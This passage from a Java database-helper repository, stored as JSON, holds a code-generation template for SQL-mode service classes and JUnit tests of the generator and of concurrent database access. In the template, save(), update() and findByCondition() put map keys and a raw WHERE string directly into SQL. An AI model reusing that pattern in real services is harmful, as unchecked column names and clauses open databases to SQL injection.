page(@RequestParam(defaultValue = \"1\") int pageNumber,\n                                     @RequestParam(defaultValue = \"10\") int pageSize) {\n        Page<Map<String, Object>> page = #(classNameLower)Service.findPage(pageNumber, pageSize);\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"code\", 0);\n        result.put(\"msg\", \"success\");\n        result.put(\"data\", page);\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/resources/code-templates/sql_service.enjoy",
    "content": "package #(packageName).service;\n\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport java.util.*;\n\n/**\n * #(className)Service - SQL模式\n * 表名: #(tableName)\n * @author #(authorName)\n * @date #(dateStr)\n */\npublic class #(className)Service {\n\n    /**\n     * 新增（动态列）\n     */\n    public long save(Map<String, Object> data) {\n        StringBuilder cols = new StringBuilder();\n        StringBuilder holders = new StringBuilder();\n        List<Object> params = new ArrayList<>();\n        for (Map.Entry<String, Object> e : data.entrySet()) {\n            if (cols.length() > 0) { cols.append(\", \"); holders.append(\", \"); }\n            cols.append(e.getKey());\n            holders.append(\"?\");\n            params.add(e.getValue());\n        }\n        String sql = \"INSERT INTO #(tableName) (\" + cols + \") VALUES (\" + holders + \")\";\n        return Db.insert(sql, params.toArray());\n    }\n\n    /**\n     * 更新\n     */\n    public int update(#(pkJavaType) #(pkFieldName), Map<String, Object> data) {\n        StringBuilder sets = new StringBuilder();\n        List<Object> params = new ArrayList<>();\n        for (Map.Entry<String, Object> e : data.entrySet()) {\n            if (sets.length() > 0) sets.append(\", \");\n            sets.append(e.getKey()).append(\" = ?\");\n            params.add(e.getValue());\n        }\n        params.add(#(pkFieldName));\n        String sql = \"UPDATE #(tableName) SET \" + sets + \" WHERE #(pkColumnName) = ?\";\n        return Db.execute(sql, params.toArray());\n    }\n\n    /**\n     * 删除\n     */\n    public int deleteById(#(pkJavaType) #(pkFieldName)) {\n        return Db.execute(\"DELETE FROM #(tableName) WHERE #(pkColumnName) = ?\", new Object[]{#(pkFieldName)});\n    }\n\n    /**\n     * 根据主键查询\n     */\n    public Map<String, Object> findById(#(pkJavaType) #(pkFieldName)) {\n        return Db.queryForMap(\"SELECT * FROM #(tableName) WHERE #(pkColumnName) = ?\", #(pkFieldName));\n    }\n\n    /**\n     * 查询全部\n     */\n    public List<Map<String, Object>> findAll() {\n        return Db.queryList(\"SELECT * FROM #(tableName)\");\n    }\n\n    /**\n     * 条件查询\n     */\n    public List<Map<String, Object>> findByCondition(String whereSql, Object... params) {\n        return Db.queryList(\"SELECT * FROM #(tableName) \" + whereSql, params);\n    }\n\n    /**\n     * 统计总数\n     */\n    public int count() {\n        return Db.queryForInt(\"SELECT COUNT(*) FROM #(tableName)\");\n    }\n\n    /**\n     * 分页查询\n     */\n    public Page<Map<String, Object>> findPage(int pageNumber, int pageSize) {\n        return Db.queryMapPages(\"SELECT * FROM #(tableName)\", pageNumber, pageSize, null);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/activerecord/_Generator.java",
    "content": "//package io.github.wujun728.activerecord;\n//\n//import com.jfinal.plugin.activerecord.ActiveRecordDemo;\n//import com.jfinal.plugin.activerecord.dialect.MysqlDialect;\n//import com.jfinal.plugin.activerecord.generator.Generator;\n//import com.jfinal.plugin.activerecord.generator.TypeMapping;\n////import com.jfinal.plugin.druid.DruidPlugin;\n//\n//import java.time.LocalDate;\n//import java.time.LocalDateTime;\n//import java.util.Date;\n//import javax.sql.DataSource;\n//\n//\n///**\n// * 本 demo 仅表达最为粗浅的 jfinal 用法，更为有价值的实用的企业级用法\n// * 详见 JFinal 俱乐部: http://jfinal.com/club\n// *\n// * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n// */\n//public class _Generator {\n//\n//\t/**\n//\t * 在此统一添加不参与生成的 table。不参与生成的 table 主要有：\n//\t * 1：用于建立表之间关系的关联表，如 account_role\n//\t * 2：部分功能使用 Db + Record 模式实现，所涉及到的 table 也不参与生成\n//\t */\n//\tprivate static String[] excludedTable = {\n//\t\t\t\"login_log\",\n//\t\t\t\"account_role\",\n//\t\t\t\"role_permission\"\n//\t};\n//\n//\tpublic static DataSource getDataSource() {\n//\t\tDruidPlugin druidPlugin = ActiveRecordDemo.createDruidPlugin();\n//\t\tdruidPlugin.start();\n//\t\treturn druidPlugin.getDataSource();\n//\t}\n//\n//\tpublic static void main(String[] args) {\n//\t\t// model 所使用的包名 (MappingKit 默认使用的包名)\n//\t\tString modelPackageName = \"com.jfinal.common.model\";\n//\n//\t\t// base model 所使用的包名\n//\t\tString baseModelPackageName = modelPackageName + \".base\";\n//\n//\t\t// base model 文件保存路径\n//\t\tString baseModelOutputDir = System.getProperty(\"user.dir\")\n//\t\t\t\t+ \"/src/main/java/\" + baseModelPackageName.replace('.', '/');\n//\n//\t\t// model 文件保存路径 (MappingKit 与 DataDictionary 文件默认保存路径)\n//\t\tString modelOutputDir = baseModelOutputDir + \"/..\";\n//\n//\t\tSystem.out.println(\"输出路径：\" + baseModelOutputDir);\n//\n//\t\t// 创建生成器\n//\t\tGenerator gen = new Generator(getDataSource(), baseModelPackageName, baseModelOutputDir, modelPackageName, modelOutputDir);\n//\n//\t\t// 设置数据库方言\n//\t\tgen.setDialect(new MysqlDialect());\n//\n//\t\t// 设置是否生成字段备注\n//\t\tgen.setGenerateRemarks(true);\n//\n//\t\t// 添加不需要生成的表名\n//\t\tfor (String table : excludedTable) {\n//\t\t\tgen.addExcludedTable(table.trim());\n//\t\t}\n//\n//\t\t// 设置是否在 Model 中生成 dao 对象\n//\t\tgen.setGenerateDaoInModel(false);\n//\n//\t\t// 设置是否生成字典文件\n//\t\tgen.setGenerateDataDictionary(false);\n//\n//\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"User\"而非 OscUser\n//\t\t// gernerator.setRemovedTableNamePrefixes(\"t_\");\n//\n//\t\t// 将 mysql 8 以及其它原因之下生成 jdk 8 日期类型映射为 java.util.Date，便于兼容老项目，也便于习惯使用 java.util.Date 的同学\n//\t\tTypeMapping tm = new TypeMapping();\n//\t\ttm.addMapping(LocalDateTime.class, Date.class);\n//\t\ttm.addMapping(LocalDate.class, Date.class);\n//\t\t// tm.addMapping(LocalTime.class, LocalTime.class);\t\t// LocalTime 暂时不变\n//\t\tgen.setTypeMapping(tm);\n//\n//\t\t// 生成\n//\t\tgen.generate();\n//\t}\n//}\n//\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/CodeGeneratorTest.java",
    "content": "package io.github.wujun728.db;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.utils.CodeGenerator;\nimport io.github.wujun728.db.utils.CodeGenerator.ColumnInfo;\nimport io.github.wujun728.db.utils.CodeGenerator.TableInfo;\nimport org.junit.*;\n\nimport javax.sql.DataSource;\nimport java.util.*;\n\nimport static org.junit.Assert.*;\n\n/**\n * 代码生成器单元测试\n * 使用H2内存数据库，验证5种代码生成模式的完整性和正确性\n */\npublic class CodeGeneratorTest {\n\n    private static DataSource dataSource;\n\n    @BeforeClass\n    public static void setup() {\n        DruidDataSource ds = new DruidDataSource();\n        ds.setUrl(\"jdbc:h2:mem:codegen_testdb;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds.setUsername(\"sa\");\n        ds.setPassword(\"\");\n        ds.setDriverClassName(\"org.h2.Driver\");\n        dataSource = ds;\n\n        Db.init(\"codegen\", dataSource);\n\n        // 创建测试表：包含多种数据类型\n        Db.use(\"codegen\").execute(\"CREATE TABLE IF NOT EXISTS user_info (\" +\n                \"id BIGINT AUTO_INCREMENT PRIMARY KEY, \" +\n                \"user_name VARCHAR(100), \" +\n                \"age INT, \" +\n                \"email VARCHAR(200), \" +\n                \"salary DECIMAL(10,2), \" +\n                \"is_active BOOLEAN DEFAULT TRUE, \" +\n                \"create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP\" +\n                \")\");\n\n        // 创建第二个测试表：无自增主键\n        Db.use(\"codegen\").execute(\"CREATE TABLE IF NOT EXISTS sys_config (\" +\n                \"config_key VARCHAR(100) PRIMARY KEY, \" +\n                \"config_value VARCHAR(500), \" +\n                \"remark VARCHAR(200)\" +\n                \")\");\n    }\n\n    @AfterClass\n    public static void teardown() {\n        Db.use(\"codegen\").execute(\"DROP TABLE IF EXISTS user_info\");\n        Db.use(\"codegen\").execute(\"DROP TABLE IF EXISTS sys_config\");\n    }\n\n    // ==================== TableInfo 元数据测试 ====================\n\n    @Test\n    public void testGetTableInfo() {\n        TableInfo info = CodeGenerator.getTableInfo(dataSource, \"USER_INFO\", \"com.test\");\n        assertNotNull(info);\n        assertEquals(\"USER_INFO\", info.getTableName());\n        assertEquals(\"com.test\", info.getPackageName());\n        assertNotNull(info.getClassName());\n        assertNotNull(info.getClassNameLower());\n        assertNotNull(info.getDateStr());\n        assertFalse(info.getColumns().isEmpty());\n    }\n\n    @Test\n    public void testGetTableInfoColumns() {\n        TableInfo info = CodeGenerator.getTableInfo(dataSource, \"USER_INFO\", \"com.test\");\n        List<ColumnInfo> columns = info.getColumns();\n        assertTrue(\"应至少有7列\", columns.size() >= 7);\n\n        // 验证主键\n        assertNotNull(\"应有主键列\", info.getPkColumn());\n        assertTrue(\"主键列应标记为pk\", info.getPkColumn().isPk());\n    }\n\n    @Test\n    public void testGetTableInfoTypeMapping() {\n        TableInfo info = CodeGenerator.getTableInfo(dataSource, \"USER_INFO\", \"com.test\");\n        Map<String, String> typeMap = new HashMap<>();\n        for (ColumnInfo col : info.getColumns()) {\n            typeMap.put(col.getColumnName().toUpperCase(), col.getJavaType());\n        }\n\n        // H2的BIGINT → Long, VARCHAR → String, INT/INTEGER → Integer, DECIMAL → BigDecimal, BOOLEAN → Boolean, TIMESTAMP → Date\n        assertEquals(\"Long\", typeMap.get(\"ID\"));\n        assertEquals(\"String\", typeMap.get(\"USER_NAME\"));\n        assertEquals(\"Integer\", typeMap.get(\"AGE\"));\n        assertEquals(\"String\", typeMap.get(\"EMAIL\"));\n        assertEquals(\"BigDecimal\", typeMap.get(\"SALARY\"));\n        assertEquals(\"Boolean\", typeMap.get(\"IS_ACTIVE\"));\n    }\n\n    @Test\n    public void testGetTableInfoFieldNameConversion() {\n        TableInfo info = CodeGenerator.getTableInfo(dataSource, \"USER_INFO\", \"com.test\");\n        Map<String, ColumnInfo> colMap = new HashMap<>();\n        for (ColumnInfo col : info.getColumns()) {\n            colMap.put(col.getColumnName().toUpperCase(), col);\n        }\n\n        ColumnInfo userNameCol = colMap.get(\"USER_NAME\");\n        assertNotNull(userNameCol);\n        assertEquals(\"userName\", userNameCol.getFieldName());\n        assertEquals(\"UserName\", userNameCol.getFieldNameUpper());\n        assertEquals(\"USER_NAME\", userNameCol.getColumnNameUpper());\n    }\n\n    @Test\n    public void testGetTableInfoStringPk() {\n        TableInfo info = CodeGenerator.getTableInfo(dataSource, \"SYS_CONFIG\", \"com.test\");\n        assertNotNull(info.getPkColumn());\n        assertEquals(\"String\", info.getPkJavaType());\n    }\n\n    @Test\n    public void testTableNameToClassName() {\n        assertEquals(\"UserInfo\", CodeGenerator.tableNameToClassName(\"user_info\"));\n        assertEquals(\"SysConfig\", CodeGenerator.tableNameToClassName(\"sys_config\"));\n        assertEquals(\"User\", CodeGenerator.tableNameToClassName(\"user\"));\n    }\n\n    @Test\n    public void testJdbcTypeMapping() {\n        assertEquals(\"Integer\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.INTEGER));\n        assertEquals(\"Long\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.BIGINT));\n        assertEquals(\"String\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.VARCHAR));\n        assertEquals(\"BigDecimal\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.DECIMAL));\n        assertEquals(\"Date\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.TIMESTAMP));\n        assertEquals(\"Boolean\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.BOOLEAN));\n        assertEquals(\"Double\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.DOUBLE));\n        assertEquals(\"Float\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.FLOAT));\n        assertEquals(\"byte[]\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.BLOB));\n        assertEquals(\"Object\", CodeGenerator.jdbcTypeToJavaType(java.sql.Types.OTHER));\n    }\n\n    // ==================== SQL模式代码生成测试 ====================\n\n    @Test\n    public void testGeneratorCodeSQL() {\n        Map<String, String> result = CodeGenerator.generatorCodeSQL(dataSource, \"USER_INFO\", \"com.demo\");\n        assertEquals(\"应生成2个文件\", 2, result.size());\n\n        // 验证文件名\n        assertTrue(result.containsKey(\"service/UserInfoService.java\"));\n        assertTrue(result.containsKey(\"controller/UserInfoController.java\"));\n\n        // 验证Service内容\n        String service = result.get(\"service/UserInfoService.java\");\n        assertTrue(service.contains(\"package com.demo.service;\"));\n        assertTrue(service.contains(\"class UserInfoService\"));\n        assertTrue(service.contains(\"Db.insert(\"));\n        assertTrue(service.contains(\"Db.execute(\"));\n        assertTrue(service.contains(\"Db.queryList(\"));\n        assertTrue(service.contains(\"Db.queryForMap(\"));\n        assertTrue(service.contains(\"Db.queryForInt(\"));\n        assertTrue(service.contains(\"Db.queryMapPages(\"));\n        assertTrue(service.contains(\"USER_INFO\"));\n\n        // 验证Controller内容\n        String controller = result.get(\"controller/UserInfoController.java\");\n        assertTrue(controller.contains(\"package com.demo.controller;\"));\n        assertTrue(controller.contains(\"class UserInfoController\"));\n        assertTrue(controller.contains(\"@RestController\"));\n        assertTrue(controller.contains(\"@RequestMapping\"));\n        assertTrue(controller.contains(\"@PostMapping\"));\n        assertTrue(controller.contains(\"@GetMapping\"));\n        assertTrue(controller.contains(\"@DeleteMapping\"));\n    }\n\n    // ==================== Record模式代码生成测试 ====================\n\n    @Test\n    public void testGeneratorCodeRecord() {\n        Map<String, String> result = CodeGenerator.generatorCodeRecord(dataSource, \"USER_INFO\", \"com.demo\");\n        assertEquals(\"应生成2个文件\", 2, result.size());\n\n        assertTrue(result.containsKey(\"service/UserInfoService.java\"));\n        assertTrue(result.containsKey(\"controller/UserInfoController.java\"));\n\n        String service = result.get(\"service/UserInfoService.java\");\n        assertTrue(service.contains(\"package com.demo.service;\"));\n        assertTrue(service.contains(\"class UserInfoService\"));\n        assertTrue(service.contains(\"Db.save(TABLE,\"));\n        assertTrue(service.contains(\"Db.update(TABLE,\"));\n        assertTrue(service.contains(\"Db.deleteById(TABLE,\"));\n        assertTrue(service.contains(\"Db.findById(TABLE,\"));\n        assertTrue(service.contains(\"Db.findAll(TABLE)\"));\n        assertTrue(service.contains(\"Db.paginate(\"));\n        assertTrue(service.contains(\"import io.github.wujun728.db.record.Record;\"));\n\n        String controller = result.get(\"controller/UserInfoController.java\");\n        assertTrue(controller.contains(\"Record record = new Record();\"));\n    }\n\n    // ==================== Bean JPA模式代码生成测试 ====================\n\n    @Test\n    public void testGeneratorCodeSQLBeanJPA() {\n        Map<String, String> result = CodeGenerator.generatorCodeSQLBeanJPA(dataSource, \"USER_INFO\", \"com.demo\");\n        assertEquals(\"应生成3个文件\", 3, result.size());\n\n        assertTrue(result.containsKey(\"entity/UserInfo.java\"));\n        assertTrue(result.containsKey(\"service/UserInfoService.java\"));\n        assertTrue(result.containsKey(\"controller/UserInfoController.java\"));\n\n        // 验证JPA Entity\n        String entity = result.get(\"entity/UserInfo.java\");\n        assertTrue(entity.contains(\"package com.demo.entity;\"));\n        assertTrue(entity.contains(\"import javax.persistence.*;\"));\n        assertTrue(entity.contains(\"@Table(name = \\\"USER_INFO\\\")\"));\n        assertTrue(entity.contains(\"class UserInfo implements Serializable\"));\n        assertTrue(entity.contains(\"@Id\"));\n        assertTrue(entity.contains(\"@Column(name =\"));\n        assertTrue(entity.contains(\"private Long\"));\n        assertTrue(entity.contains(\"private String\"));\n\n        // 验证Bean Service\n        String service = result.get(\"service/UserInfoService.java\");\n        assertTrue(service.contains(\"Db.saveBean(entity)\"));\n        assertTrue(service.contains(\"Db.updateBean(entity)\"));\n        assertTrue(service.contains(\"Db.deleteBean(entity)\"));\n        assertTrue(service.contains(\"Db.findBeanById(UserInfo.class,\"));\n        assertTrue(service.contains(\"Db.findBeanList(UserInfo.class,\"));\n        assertTrue(service.contains(\"Db.findBeanPages(UserInfo.class,\"));\n    }\n\n    // ==================== Bean MyBatis-Plus模式代码生成测试 ====================\n\n    @Test\n    public void testGeneratorCodeSQLBeanMybatis() {\n        Map<String, String> result = CodeGenerator.generatorCodeSQLBeanMybatis(dataSource, \"USER_INFO\", \"com.demo\");\n        assertEquals(\"应生成3个文件\", 3, result.size());\n\n        assertTrue(result.containsKey(\"entity/UserInfo.java\"));\n        assertTrue(result.containsKey(\"service/UserInfoService.java\"));\n        assertTrue(result.containsKey(\"controller/UserInfoController.java\"));\n\n        // 验证MyBatis-Plus Entity\n        String entity = result.get(\"entity/UserInfo.java\");\n        assertTrue(entity.contains(\"package com.demo.entity;\"));\n        assertTrue(entity.contains(\"import com.baomidou.mybatisplus.annotation.*;\"));\n        assertTrue(entity.contains(\"@TableName(\\\"USER_INFO\\\")\"));\n        assertTrue(entity.contains(\"@TableId(\"));\n        assertTrue(entity.contains(\"@TableField(\"));\n\n        // Bean Service与JPA模式共用同一模板\n        String service = result.get(\"service/UserInfoService.java\");\n        assertTrue(service.contains(\"Db.saveBean(entity)\"));\n    }\n\n    // ==================== Model模式代码生成测试 ====================\n\n    @Test\n    public void testGeneratorCodeModel() {\n        Map<String, String> result = CodeGenerator.generatorCodeModel(dataSource, \"USER_INFO\", \"com.demo\");\n        assertEquals(\"应生成3个文件\", 3, result.size());\n\n        assertTrue(result.containsKey(\"model/UserInfo.java\"));\n        assertTrue(result.containsKey(\"service/UserInfoService.java\"));\n        assertTrue(result.containsKey(\"controller/UserInfoController.java\"));\n\n        // 验证Model类\n        String model = result.get(\"model/UserInfo.java\");\n        assertTrue(model.contains(\"package com.demo.model;\"));\n        assertTrue(model.contains(\"import io.github.wujun728.db.record.Model;\"));\n        assertTrue(model.contains(\"extends Model<UserInfo>\"));\n        assertTrue(model.contains(\"public static final UserInfo dao = new UserInfo().dao();\"));\n        // 验证列名常量\n        assertTrue(model.contains(\"public static final String\"));\n        // 验证便捷getter\n        assertTrue(model.contains(\"return get(\"));\n\n        // 验证Model Service\n        String service = result.get(\"service/UserInfoService.java\");\n        assertTrue(service.contains(\"model.save()\"));\n        assertTrue(service.contains(\"model.update()\"));\n        assertTrue(service.contains(\"model.delete()\"));\n        assertTrue(service.contains(\"UserInfo.dao.findById(\"));\n        assertTrue(service.contains(\"UserInfo.dao.findAll()\"));\n        assertTrue(service.contains(\"UserInfo.dao.paginate(\"));\n\n        // 验证Model Controller\n        String controller = result.get(\"controller/UserInfoController.java\");\n        assertTrue(controller.contains(\"model.put(data)\"));\n        assertTrue(controller.contains(\"model.getAttrs()\"));\n    }\n\n    // ==================== 不同表结构测试 ====================\n\n    @Test\n    public void testGeneratorCodeWithStringPk() {\n        Map<String, String> result = CodeGenerator.generatorCodeSQLBeanJPA(dataSource, \"SYS_CONFIG\", \"com.demo\");\n        String entity = result.get(\"entity/SysConfig.java\");\n        assertNotNull(entity);\n        assertTrue(entity.contains(\"class SysConfig\"));\n        assertTrue(entity.contains(\"private String\"));\n\n        String service = result.get(\"service/SysConfigService.java\");\n        assertTrue(service.contains(\"class SysConfigService\"));\n    }\n\n    @Test\n    public void testGeneratorCodeRecordForSysConfig() {\n        Map<String, String> result = CodeGenerator.generatorCodeRecord(dataSource, \"SYS_CONFIG\", \"com.sys\");\n        String service = result.get(\"service/SysConfigService.java\");\n        assertTrue(service.contains(\"package com.sys.service;\"));\n        assertTrue(service.contains(\"SYS_CONFIG\"));\n    }\n\n    // ==================== Db静态方法代理测试 ====================\n\n    @Test\n    public void testDbStaticGeneratorMethods() {\n        // 通过Db.use(\"codegen\")调用\n        Map<String, String> sqlResult = Db.use(\"codegen\").generatorCodeSQL(\"USER_INFO\", \"com.test\");\n        assertNotNull(sqlResult);\n        assertEquals(2, sqlResult.size());\n\n        Map<String, String> recordResult = Db.use(\"codegen\").generatorCodeRecord(\"USER_INFO\", \"com.test\");\n        assertNotNull(recordResult);\n        assertEquals(2, recordResult.size());\n\n        Map<String, String> jpaResult = Db.use(\"codegen\").generatorCodeSQLBeanJPA(\"USER_INFO\", \"com.test\");\n        assertNotNull(jpaResult);\n        assertEquals(3, jpaResult.size());\n\n        Map<String, String> mybatisResult = Db.use(\"codegen\").generatorCodeSQLBeanMybatis(\"USER_INFO\", \"com.test\");\n        assertNotNull(mybatisResult);\n        assertEquals(3, mybatisResult.size());\n\n        Map<String, String> modelResult = Db.use(\"codegen\").generatorCodeModel(\"USER_INFO\", \"com.test\");\n        assertNotNull(modelResult);\n        assertEquals(3, modelResult.size());\n    }\n\n    // ==================== 边界情况测试 ====================\n\n    @Test\n    public void testDifferentPackageNames() {\n        Map<String, String> result1 = CodeGenerator.generatorCodeSQL(dataSource, \"USER_INFO\", \"io.github.test\");\n        assertTrue(result1.get(\"service/UserInfoService.java\").contains(\"package io.github.test.service;\"));\n\n        Map<String, String> result2 = CodeGenerator.generatorCodeSQL(dataSource, \"USER_INFO\", \"com.company.app\");\n        assertTrue(result2.get(\"service/UserInfoService.java\").contains(\"package com.company.app.service;\"));\n    }\n\n    @Test\n    public void testAllModesGenerateValidJavaCode() {\n        String[] modes = {\"SQL\", \"Record\", \"BeanJPA\", \"BeanMybatis\", \"Model\"};\n\n        for (String mode : modes) {\n            Map<String, String> result;\n            switch (mode) {\n                case \"SQL\": result = CodeGenerator.generatorCodeSQL(dataSource, \"USER_INFO\", \"com.test\"); break;\n                case \"Record\": result = CodeGenerator.generatorCodeRecord(dataSource, \"USER_INFO\", \"com.test\"); break;\n                case \"BeanJPA\": result = CodeGenerator.generatorCodeSQLBeanJPA(dataSource, \"USER_INFO\", \"com.test\"); break;\n                case \"BeanMybatis\": result = CodeGenerator.generatorCodeSQLBeanMybatis(dataSource, \"USER_INFO\", \"com.test\"); break;\n                case \"Model\": result = CodeGenerator.generatorCodeModel(dataSource, \"USER_INFO\", \"com.test\"); break;\n                default: continue;\n            }\n\n            for (Map.Entry<String, String> entry : result.entrySet()) {\n                String fileName = entry.getKey();\n                String code = entry.getValue();\n\n                // 每个生成的文件都应该有package声明\n                assertTrue(mode + \" - \" + fileName + \" 缺少package声明\", code.contains(\"package com.test.\"));\n                // 每个生成的文件都应该有class声明\n                assertTrue(mode + \" - \" + fileName + \" 缺少class声明\", code.contains(\"class \"));\n                // 不应有空白的模板变量残留\n                assertFalse(mode + \" - \" + fileName + \" 包含未替换的模板变量\", code.contains(\"#(\"));\n            }\n        }\n    }\n\n    @Test\n    public void testHasDateAndBigDecimalFlags() {\n        TableInfo info = CodeGenerator.getTableInfo(dataSource, \"USER_INFO\", \"com.test\");\n        // user_info表有TIMESTAMP和DECIMAL列\n        assertTrue(\"应检测到Date类型\", info.isHasDate());\n        assertTrue(\"应检测到BigDecimal类型\", info.isHasBigDecimal());\n\n        TableInfo configInfo = CodeGenerator.getTableInfo(dataSource, \"SYS_CONFIG\", \"com.test\");\n        // sys_config表只有VARCHAR列\n        assertFalse(\"不应有Date类型\", configInfo.isHasDate());\n        assertFalse(\"不应有BigDecimal类型\", configInfo.isHasBigDecimal());\n    }\n\n    @Test\n    public void testEntityImportsConditional() {\n        // user_info有Date和BigDecimal → 应有对应import\n        Map<String, String> result1 = CodeGenerator.generatorCodeSQLBeanJPA(dataSource, \"USER_INFO\", \"com.test\");\n        String entity1 = result1.get(\"entity/UserInfo.java\");\n        assertTrue(entity1.contains(\"import java.util.Date;\"));\n        assertTrue(entity1.contains(\"import java.math.BigDecimal;\"));\n\n        // sys_config无Date和BigDecimal → 不应有对应import\n        Map<String, String> result2 = CodeGenerator.generatorCodeSQLBeanJPA(dataSource, \"SYS_CONFIG\", \"com.test\");\n        String entity2 = result2.get(\"entity/SysConfig.java\");\n        assertFalse(entity2.contains(\"import java.util.Date;\"));\n        assertFalse(entity2.contains(\"import java.math.BigDecimal;\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/ConcurrencyAndEdgeCaseTest.java",
    "content": "package io.github.wujun728.db;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.db.record.*;\nimport io.github.wujun728.db.record.dialect.*;\nimport io.github.wujun728.db.record.mapper.BatchSql;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport org.junit.*;\n\nimport javax.persistence.Column;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.Transient;\nimport javax.sql.DataSource;\nimport java.lang.reflect.Field;\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.sql.SQLException;\nimport java.util.*;\nimport java.util.concurrent.*;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static org.junit.Assert.*;\n\n/**\n * 并发安全、方言SQL生成、边界情况的综合测试\n * 覆盖：\n * 1. 多线程并发初始化 DbPro（C1修复验证）\n * 2. 多线程并发CRUD操作\n * 3. 所有Dialect的forDbUpdate排除主键列（H4修复验证）\n * 4. Record类型转换边界情况（H3修复验证）\n * 5. RecordUtil反射缓存及转换边界（M3修复验证）\n * 6. DbException异常传播（M10修复验证）\n * 7. 空结果/null参数边界\n * 8. Model缓存字段验证（M7修复验证）\n */\npublic class ConcurrencyAndEdgeCaseTest {\n\n    private static DataSource dataSource;\n\n    @BeforeClass\n    public static void setup() {\n        DruidDataSource ds = new DruidDataSource();\n        ds.setUrl(\"jdbc:h2:mem:concurrency_test;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds.setUsername(\"sa\");\n        ds.setPassword(\"\");\n        ds.setDriverClassName(\"org.h2.Driver\");\n        dataSource = ds;\n\n        Db.init(dataSource);\n\n        Db.execute(\"CREATE TABLE IF NOT EXISTS user_info (\" +\n                \"id BIGINT AUTO_INCREMENT PRIMARY KEY, \" +\n                \"user_name VARCHAR(100), \" +\n                \"age INT, \" +\n                \"email VARCHAR(200), \" +\n                \"create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP\" +\n                \")\");\n\n        Db.execute(\"CREATE TABLE IF NOT EXISTS sys_config (\" +\n                \"config_key VARCHAR(100) PRIMARY KEY, \" +\n                \"config_value VARCHAR(500)\" +\n                \")\");\n    }\n\n    @Before\n    public void beforeEach() {\n        Db.execute(\"DELETE FROM user_info\");\n        Db.execute(\"DELETE FROM sys_config\");\n        Db.execute(\"ALTER TABLE user_info ALTER COLUMN id RESTART WITH 1\");\n    }\n\n    @AfterClass\n    public static void teardown() {\n        Db.execute(\"DROP TABLE IF EXISTS user_info\");\n        Db.execute(\"DROP TABLE IF EXISTS sys_config\");\n    }\n\n    // ==================== 1. 并发初始化测试 ====================\n\n    @Test\n    public void testConcurrentDbProInit() throws Exception {\n        int threadCount = 20;\n        ExecutorService executor = Executors.newFixedThreadPool(threadCount);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        AtomicInteger successCount = new AtomicInteger(0);\n        Set<DbPro> instances = Collections.newSetFromMap(new ConcurrentHashMap<>());\n\n        for (int i = 0; i < threadCount; i++) {\n            final int idx = i;\n            executor.submit(() -> {\n                try {\n                    DruidDataSource ds = new DruidDataSource();\n                    ds.setUrl(\"jdbc:h2:mem:concurrent_init_\" + idx + \";DB_CLOSE_DELAY=-1;MODE=MySQL\");\n                    ds.setUsername(\"sa\");\n                    ds.setPassword(\"\");\n                    ds.setDriverClassName(\"org.h2.Driver\");\n\n                    // 多线程同时初始化同名数据源\n                    Db.init(\"concurrent_test\", ds);\n                    DbPro dbPro = Db.use(\"concurrent_test\");\n                    instances.add(dbPro);\n                    successCount.incrementAndGet();\n                } catch (Exception e) {\n                    // 不应抛异常\n                    e.printStackTrace();\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n\n        latch.await(10, TimeUnit.SECONDS);\n        executor.shutdown();\n\n        assertEquals(threadCount, successCount.get());\n        // 所有线程获取的应是同一个 DbPro 实例（第一个成功初始化的）\n        assertEquals(1, instances.size());\n    }\n\n    @Test\n    public void testConcurrentForceInit() throws Exception {\n        int threadCount = 10;\n        ExecutorService executor = Executors.newFixedThreadPool(threadCount);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        AtomicInteger successCount = new AtomicInteger(0);\n\n        for (int i = 0; i < threadCount; i++) {\n            executor.submit(() -> {\n                try {\n                    DruidDataSource ds = new DruidDataSource();\n                    ds.setUrl(\"jdbc:h2:mem:force_init_test;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n                    ds.setUsername(\"sa\");\n                    ds.setPassword(\"\");\n                    ds.setDriverClassName(\"org.h2.Driver\");\n\n                    // force=true 强制重新初始化\n                    Db.init(\"force_test\", ds, true);\n                    assertNotNull(Db.use(\"force_test\"));\n                    successCount.incrementAndGet();\n                } catch (Exception e) {\n                    e.printStackTrace();\n                } finally {\n                    latch.countDown();\n                }\n            });\n        }\n\n        latch.await(10, TimeUnit.SECONDS);\n        executor.shutdown();\n        assertEquals(threadCount, successCount.get());\n    }\n\n    // ==================== 2. 并发CRUD测试 ====================\n\n    @Test\n    public void testConcurrentInsert() throws Exception {\n        int threadCount = 50;\n        ExecutorService executor = Executors.newFixedThreadPool(10);\n        CountDownLatch latch = new CountDownLatch(threadCount);\n        AtomicInteger successCount = new AtomicInteger(0);\n\n        for (int 